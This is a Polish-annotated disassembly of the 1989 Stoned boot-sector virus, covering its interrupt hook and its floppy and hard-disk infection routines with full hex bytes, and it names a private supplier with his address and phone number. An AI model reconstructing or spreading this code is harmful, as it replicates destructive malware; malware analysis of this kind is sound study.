;---------------------------------------------------------------------------- ; Wirus dostarczony Grzegorzowi Eiderowi do redakcji KOMPUTERA w po’owie ; listopada 1989. Dostawc† jest u§ytkownik z Wiednia: ; ; Karol Grabski ; Vien ; Krummgasse 3/18 ; tel. 7133735 ; ; SCAN 0.4V35 identyfikuje go jako: STONED VIRUS ; Wirus ma spolszczony komunikat! Oryginalny jest chyba d’u§szy i nawi†zuje ; do legalizacji marihuany ; ; Na dyskietce wirus rezyduje w boot sector, oryginalny boot sektor chowa do ; ostatniego sektora zajmowanego przez katalog g’˘wny dyskietki. ; Na dysku twardym wirus rezyduje w master boot sektor twardego dysku a ; orygina’ chowa do 7 sektora žcie§ki 0, strona 0 (czyli poza zasi‘giem DOS) ;----------------------------------------------------------------------------- ; PostaŤ wirusa bezpožrednio po wczytaniu do pami‘ci z dyskietki ; bajty identyfikuj†ce wirusa (w jego w’asnym autotežcie) 07C0:0000 EA0500C007 JMP 07C0:0005 ; skok do nast‘pnej instrukcji 07C0:0005 E99900 JMP 00A1 ; normalnie w tym obszarze s† dane dyskietki, ten wirus, jak widaŤ, tym si‘ ; nie przejmuje i traktuje ten obszar jako roboczy 07C0:0008 00 ; flaga 0 - oznacza start z dyskietki, 2 - z twardego 07C0:0009 69 A0 00 F0 ; oryginalny adres INT 13h 07C0:000D E4 00 80 9F ; adres wirusa w pami‘ci operacyjnej 07C0:0011 00 7C 00 00 ; address of boot sector in memory ;------------------------------------------------------- ; Nowa obs’uga INT 13h ;------------------------------------------------------- 07C0:0015 1E PUSH DS 07C0:0016 50 PUSH AX 07C0:0017 80FC02 CMP AH,02 ; poni§ej 'odczyt sektora' 07C0:001A 7217 JB 0033 ; nieciekawa funkcja 07C0:001C 80FC04 CMP AH,04 ; powy§ej 'zapis sektora' 07C0:001F 7312 JAE 0033 ; nieciekawa funkcja 07C0:0021 0AD2 OR DL,DL ; nr dysku 07C0:0023 750E JNZ 0033 ; r˘§ny od A 07C0:0025 33C0 XOR AX,AX 07C0:0027 8ED8 MOV DS,AX 07C0:0029 A03F04 MOV AL,[043F] ; diskette drive motor status 07C0:002C A801 TEST AL,01 ; motor 1 on 07C0:002E 7503 JNZ 0033 ; nie tym razem 07C0:0030 E80700 CALL 003A 07C0:0033 58 POP AX 07C0:0034 1F POP DS 07C0:0035 2E CS: 07C0:0036 FF2E0900 JMP FAR [0009] ; oryginalne INT 13h 07C0:003A 53 PUSH BX ; przechowaj rejestry 07C0:003B 51 PUSH CX 07C0:003C 52 PUSH DX 07C0:003D 06 PUSH ES 07C0:003E 56 PUSH SI 07C0:003F 57 PUSH DI 07C0:0040 BE0400 MOV SI,0004 ; licznik pr˘b 07C0:0043 B80102 MOV AX,0201 ; odczyt sektora 07C0:0046 0E PUSH CS 07C0:0047 07 POP ES 07C0:0048 BB0002 MOV BX,0200 ; za w’asny kod 07C0:004B 33C9 XOR CX,CX 07C0:004D 8BD1 MOV DX,CX 07C0:004F 41 INC CX ; boot sektor dysku A ? 07C0:0050 9C PUSHF 07C0:0051 2E CS: 07C0:0052 FF1E0900 CALL FAR [0009] ; oryginalne INT 13h 07C0:0056 730E JAE 0066 ; odczyt udany 07C0:0058 33C0 XOR AX,AX ; resetuj dysk 07C0:005A 9C PUSHF 07C0:005B 2E CS: 07C0:005C FF1E0900 CALL FAR [0009] ; oryginalne INT 13h 07C0:0060 4E DEC SI 07C0:0061 75E0 JNZ 0043 ; ponawiaj pr˘b‘ odczytu 07C0:0063 EB35 JMP 009A ; wycofujemy si‘ 07C0:0065 90 NOP 07C0:0066 33F6 XOR SI,SI ; sprawd¦ czy zainfekowany? 07C0:0068 BF0002 MOV DI,0200 07C0:006B FC CLD 07C0:006C 0E PUSH CS 07C0:006D 1F POP DS 07C0:006E AD LODSW 07C0:006F 3B05 CMP AX,[DI] 07C0:0071 7506 JNZ 0079 ; jeszcze nie 07C0:0073 AD LODSW 07C0:0074 3B4502 CMP AX,[DI+02] 07C0:0077 7421 JZ 009A ; wycofuj si‘ ; infekcja dyskietki 07C0:0079 B80103 MOV AX,0301 ; zapisuj sektor na dysk 07C0:007C BB0002 MOV BX,0200 ; z ES:BX 07C0:007F B103 MOV CL,03 ; do sektora 3 07C0:0081 B601 MOV DH,01 ; na stronie 1 07C0:0083 9C PUSHF ; czyli ostatni sektor zajmowany 07C0:0084 2E CS: ; przez 'root directory' 07C0:0085 FF1E0900 CALL FAR [0009] ; oryginalne INT 13h 07C0:0089 720F JB 009A 07C0:008B B80103 MOV AX,0301 ; zapisuj sektor na dysk 07C0:008E 33DB XOR BX,BX ; ES:0 czyli wirusa 07C0:0090 B101 MOV CL,01 ; sektor 0 07C0:0092 33D2 XOR DX,DX ; strona 0 dysk 0 07C0:0094 9C PUSHF ; czyli jako nowy 'boot sector' 07C0:0095 2E CS: 07C0:0096 FF1E0900 CALL FAR [0009] ; oryginalne INT 13h 07C0:009A 5F POP DI ; koniec žwi¤stw 07C0:009B 5E POP SI 07C0:009C 07 POP ES 07C0:009D 5A POP DX 07C0:009E 59 POP CX 07C0:009F 5B POP BX 07C0:00A0 C3 RET ;---------------------------------------- ; kod startowy wirusa ;---------------------------------------- 07C0:00A1 33C0 XOR AX,AX ; inicjuj rejestry i stos 07C0:00A3 8ED8 MOV DS,AX 07C0:00A5 FA CLI 07C0:00A6 8ED0 MOV SS,AX 07C0:00A8 BC007C MOV SP,7C00 07C0:00AB FB STI 07C0:00AC A14C00 MOV AX,[004C] ; odczyt wektora INT 13h 07C0:00AF A3097C MOV [7C09],AX 07C0:00B2 A14E00 MOV AX,[004E] 07C0:00B5 A30B7C MOV [7C0B],AX 07C0:00B8 A11304 MOV AX,[0413] ; rozmiar pami‘ci operacyjnej w KB 07C0:00BB 48 DEC AX ; szykuj miejsce dla wirusa 07C0:00BC 48 DEC AX 07C0:00BD A31304 MOV [0413],AX ; informacja dla DOS 07C0:00C0 B106 MOV CL,06 ; przelicz na paragrafy 07C0:00C2 D3E0 SHL AX,CL 07C0:00C4 8EC0 MOV ES,AX ; segment wirusa 07C0:00C6 A30F7C MOV [7C0F],AX ; zapami‘taj segment wirusa 07C0:00C9 B81500 MOV AX,0015 ; offset nowej obs’ugi INT 13h 07C0:00CC A34C00 MOV [004C],AX 07C0:00CF 8C064E00 MOV [004E],ES ; segment nowej obs’ugi INT 13h 07C0:00D3 B9B801 MOV CX,01B8 ; przesu¤ kod wirusa 07C0:00D6 0E PUSH CS ; ma to na celu instalacj‘ 07C0:00D7 1F POP DS ; cz‘žci rezydentnej 07C0:00D8 33F6 XOR SI,SI ; w ko¤cu pami‘ci operacyjnej 07C0:00DA 8BFE MOV DI,SI 07C0:00DC FC CLD 07C0:00DD F3 REPZ 07C0:00DE A4 MOVSB 07C0:00DF 2E CS: 07C0:00E0 FF2E0D00 JMP FAR [000D] ; skok do przesuni‘tego kodu ; czyli tutaj 07C0:00E4 B80000 MOV AX,0000 ; resetuj dysk 07C0:00E7 CD13 INT 13 07C0:00E9 33C0 XOR AX,AX ; zeruj ES 07C0:00EB 8EC0 MOV ES,AX 07C0:00ED B80102 MOV AX,0201 ; czytaj 1 sektor 07C0:00F0 BB007C MOV BX,7C00 ; do ES:BX (0:7C00) 07C0:00F3 2E CS: 07C0:00F4 803E080000 CMP BYTE PTR [0008],00 ;test flagi (z dyskietki?) 07C0:00F9 740B JZ 0106 ; sprawdzaj flopa 07C0:00FB B90700 MOV CX,0007 ; numer sektora ze strony 0 07C0:00FE BA8000 MOV DX,0080 ; pierwszy twardy dysk 07C0:0101 CD13 INT 13 ; tam jest oryginalny boot sektor 07C0:0103 EB49 JMP 014E ; koniec dzia’alnožci wirusa 07C0:0105 90 NOP 07C0:0106 B90300 MOV CX,0003 ; sektor nr 3 žcie§ka 0 07C0:0109 BA0001 MOV DX,0100 ; strona 1 dysk nr 0 (A) 07C0:010C CD13 INT 13 07C0:010E 723E JB 014E ; koniec dzia’alnožci wirusa ;----------------------------------------------------------------- ; komunikat "Tw˘j PC jest teraz be!" wraz z sygna’em d¦wi‘kowym ;----------------------------------------------------------------- 07C0:0110 26 ES: 07C0:0111 F6066C0407 TEST BYTE PTR [046C],07 ; m’odsze s’owo zegara 07C0:0116 7512 JNZ 012A ; pomijaj komunikat 07C0:0118 BE8901 MOV SI,0189 ; adres komunikatu 07C0:011B 0E PUSH CS 07C0:011C 1F POP DS 07C0:011D AC LODSB ; drukowanie komunikatu (ASCIIZ) 07C0:011E 0AC0 OR AL,AL 07C0:0120 7408 JZ 012A 07C0:0122 B40E MOV AH,0E ; write character (TTY mode) 07C0:0124 B700 MOV BH,00 ; numer strony video 07C0:0126 CD10 INT 10 07C0:0128 EBF3 JMP 011D ; pobierz nast‘pny znak ;--------------------------------------------------- ; kontrola czy twardy dysk systemowy jest czysty? ;--------------------------------------------------- 07C0:012A 0E PUSH CS 07C0:012B 07 POP ES 07C0:012C B80102 MOV AX,0201 ; czytaj 1 sektor dysku 07C0:012F BB0002 MOV BX,0200 ; do ES:BX za wirusa 07C0:0132 B101 MOV CL,01 ; numer sektora 07C0:0134 BA8000 MOV DX,0080 ; pierwszy twardy dysk, strona 0 07C0:0137 CD13 INT 13 07C0:0139 7213 JB 014E ; problemy! 07C0:013B 0E PUSH CS ; sprawdzaj czy ju§ zainfekowany 07C0:013C 1F POP DS 07C0:013D BE0002 MOV SI,0200 07C0:0140 BF0000 MOV DI,0000 07C0:0143 AD LODSW 07C0:0144 3B05 CMP AX,[DI] 07C0:0146 7511 JNZ 0159 07C0:0148 AD LODSW 07C0:0149 3B4502 CMP AX,[DI+02] 07C0:014C 750B JNZ 0159 ;----------------------------------------------------- ; koniec akcji, kontynuuj w’ažciwy bootstrap ;----------------------------------------------------- 07C0:014E 2E CS: 07C0:014F C606080000 MOV BYTE PTR [0008],00 ; flaga 'z dyskietki' 07C0:0154 2E CS: 07C0:0155 FF2E1100 JMP FAR [0011] ; kontynuuj bootstrap ;------------------------------------------------ ; infekuj pierwszy twardy dysk ;------------------------------------------------ 07C0:0159 2E CS: 07C0:015A C606080002 MOV BYTE PTR [0008],02 ; flaga 'z twardego' 07C0:015F B80103 MOV AX,0301 ; zapisz 1 sektor dyskowy 07C0:0162 BB0002 MOV BX,0200 ; ES:BX sk†d 07C0:0165 B90700 MOV CX,0007 ; do sektora nr 7 07C0:0168 BA8000 MOV DX,0080 ; strona 0 pierwszego dysku twardego 07C0:016B CD13 INT 13 07C0:016D 72DF JB 014E ; problemy! 07C0:016F 0E PUSH CS ; uzupe’nij wirusa wczytanym kodem 07C0:0170 1F POP DS ; czyli tablicami partycji dysku 07C0:0171 0E PUSH CS 07C0:0172 07 POP ES 07C0:0173 BEBE03 MOV SI,03BE 07C0:0176 BFBE01 MOV DI,01BE 07C0:0179 B94202 MOV CX,0242 07C0:017C F3 REPZ 07C0:017D A4 MOVSB 07C0:017E B80103 MOV AX,0301 ; zapisz na dysk 07C0:0181 33DB XOR BX,BX ; ES:0 sk†d (ca’y wirus) 07C0:0183 FEC1 INC CL ; CL := 1 numer sektora 07C0:0185 CD13 INT 13 07C0:0187 EBC5 JMP 014E ; koniec 07C0:0189 07 54 77 A2 6A 20 50 .Tw˘j P 07C0:0190 43 20 6A 65 73 74 20 74-65 72 61 7A 20 62 65 21 C jest teraz be! 07C0:01A0 07 0D 0A 0A 00 4C 45 47-41 4C 49 53 45 20 4D 41 .....LEGALISE MA 07C0:01B0 52 49 4A 55 41 4E 41 3F-00 00 00 00 00 00 00 00 RIJUANA?........ * 0004 Lines Of 00 Skipped * 07C0:0200 00 00 00 00 00 00 00 00-00 ......... ; Brak oznakowania ko¤ca sektora! (55AA)